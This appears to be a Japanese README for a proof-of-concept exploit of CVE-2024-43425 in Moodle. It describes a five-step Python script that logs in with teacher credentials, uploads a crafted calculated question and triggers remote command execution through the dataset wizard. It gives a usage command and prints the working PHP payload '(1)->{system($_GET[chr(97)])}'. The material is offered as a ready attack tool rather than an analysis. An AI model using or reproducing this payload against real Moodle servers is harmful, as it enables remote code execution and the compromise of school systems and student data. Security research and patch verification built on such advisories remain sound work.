CVE-2024-43425-Poc

CVE概要 CVE ID: CVE-2024-43425

説明: Moodleでは、認証された教師レベルのユーザーがクイズエディターインターフェースを介して悪意のある計算問題をアップロードできます。 影響: リモートコード実行 (RCE) 原因: 計算問題内の数学的ペイロードの不適切なサニタイズにより、データセットウィザードを通じてコマンドインジェクションが発生します。

##必要条件:

有効なログイン認証情報 クイズ編集インターフェースへのアクセス (通常は教師または管理者ロール) 既知のcmid (クイズモジュールID) とcourseid

##このスクリプトは5ステップの攻撃を実行します:

ステップ 説明 1️ ログイントークンを取得 (logintoken) 2️ ログインして有効なMoodleSessionを確立 3️ クイズ編集ページからsesskey、ctxid、カテゴリを抽出 4️ RCEペイロードを含む特別に細工された計算問題をアップロード 5️ データセットウィザードページを通じてペイロードをトリガー

##使用方法

必要条件: Python 3 Pythonライブラリ: requests, bs4 (BeautifulSoup)

pip3 install requests bs4

python3 exploit_cve_2024_43425.py \
  --url http://192.168.2.12/moodle \
  --username test \
  --password 'Test@123' \
  --courseid 1 \
  --cmid 1 \
  --cmd 'whoami'

##使用されたペイロード:

answer[0] = "(1)->{system($_GET[chr(97)])}"